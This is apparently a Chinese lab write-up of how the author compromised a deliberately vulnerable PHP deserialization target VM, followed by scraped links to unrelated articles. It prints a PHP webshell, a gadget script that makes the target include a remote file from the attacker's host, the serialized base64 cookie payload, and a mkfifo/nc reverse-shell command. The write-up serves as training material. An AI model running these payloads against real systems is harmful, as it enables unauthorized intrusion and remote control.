serial 反序列化靶机

embedded/2024/9/24 3:41:19/

1.安装靶机

2.扫描靶机ip,端口,访问

3.扫描目录,发现有 backup 目录,访问发现是压缩包,下载,解压,查看

通过审计源代码了解到: 首次访问该网站后,会通过 user.class.php 中的创建一个user对象, 内容为wel变量创建welcome对象,同时进行序列化base64编码存入cookie,在此过程中调用了 handler() 函数; 同时, log.class.php 中的 Log 类中也有 handler() 函数,并且还存在 include 文件包含漏洞,所以我们可以尝试将 Welcome 替换为 Log 类

4.构造下方代码 1.php ,保存到自己的网站下运行,实现将 welcome 替换为 Log ,同时使用文件包含漏洞上传木马文件,最后将代码序列化并 base64 编码

<?php@system($_GET['OMO']);
?>
<?phpclass Log {private $type_log = "http://本机ip/cc.txt";}class User {private $name = "admin";private $wel;function __construct() {$this->wel = new Log();}
}
$obj = new User();
echo base64_encode(serialize($obj));
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6MTM6IgBMb2cAdHlwZV9sb2ciO3M6Mjc6Imh0dHA6Ly8xOTIuMTY4LjMuMjU0L2NjLnR4dCI7fX0=  

5.在 kali 开启监听, 抓包,发送重放器,修改 cookie ,并在 GET 处添加参数以及 shell 反弹语句rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+kali ip+7777+>/tmp/f

6.发送后,获取靶机 shell ,查看文件获取虚拟机密码

7.登录虚拟机


http://www.ppmy.cn/embedded/92154.html

相关文章

GNU --代码结构————字符串

GNU 下面是一个简单的 C 语言代码示例&#xff0c;该代码使用 GNU 项目的工具链&#xff08;例如 GCC 编译器&#xff09;来编译和运行。这个例子将创建一个简单的程序&#xff0c;它会打印 “Hello, World!” 到控制台。 代码示例 创建一个名为 hello_world.c 的文件&…

django电商用户消费数据分析系统-计算机毕业设计源码20891

摘 要 随着电子商务的快速发展&#xff0c;电商平台积累了大量的用户消费数据。为了更好地理解用户行为、优化商品结构和提升用户体验&#xff0c;本文设计并实现了一个基于Django框架的电商用户消费数据分析系统。 该系统包含后台首页、系统用户&#xff08;管理员&#xf…

如何在不同电脑之间导出和导入 Docker 镜像

文章目录 如何在不同电脑之间导出和导入 Docker 镜像步骤 1&#xff1a;导出镜像步骤 2&#xff1a;传输镜像文件步骤 3&#xff1a;导入镜像步骤 4&#xff1a;验证镜像完整操作示例结论 如何在不同电脑之间导出和导入 Docker 镜像 在开发和部署过程中&#xff0c;你可能会遇…

C++初学者指南-5.标准库(第二部分)--数值运算算法

C初学者指南-5.标准库(第二部分)–数值运算算法 文章目录 C初学者指南-5.标准库(第二部分)--数值运算算法iota (注意不是itoa函数)Reductions reduce transform_reduce遗留操作&#xff08;无法并行执行&#xff09;accumulate (≈ reduce) C98inner_product (≈ transform_r…

白骑士的PyCharm教学进阶篇 2.2 高级调试技术

系列目录 上一篇&#xff1a;白骑士的PyCharm教学进阶篇 2.1 高效编码技巧 在Python开发中&#xff0c;调试是一个非常重要的环节。PyCharm作为一款功能强大的IDE&#xff0c;不仅提供了基本的调试功能&#xff0c;还包含了许多高级调试工具与技巧。本篇将详细介绍这些高级调试…

GEE教程——如何利用for循环实现矢量集合中逐一实现矢量坐标的中心点的计算

简介 在Google Earth Engine中,可以使用for循环结构来实现矢量集合中逐一矢量坐标的中心点计算。 好的,下面是文字解释: 要计算矢量集合中每个矢量的中心点,可以按照以下步骤进行操作: 定义一个矢量集合,可以使用ee.FeatureCollection来创建。创建一个空的矢量集合,用…

【网页设计】基于HTML+CSS上海旅游网站网页作业制作

一、&#x1f468;‍&#x1f393;网站题目 旅游&#xff0c;当地特色&#xff0c;历史文化&#xff0c;特色小吃等网站的设计与制作。 二、✍️网站描述 &#x1f468;‍&#x1f393;静态网站的编写主要是用HTML DIVCSS 等来完成页面的排版设计&#x1f469;‍&#x1f39…

nginx下载安装及使用教程

一、打开下载官网&#xff1a;nginx 选择稳定版本&#xff08;windows&#xff09; 然后就是解压安装到指定目录下 二、启动nginx 使用cmd命令提示符进入&#xff0c;输入一下命令(注意&#xff1a;回车确认是会出现一闪&#xff0c;这是正常现象&#xff09; 查看任务进程是否…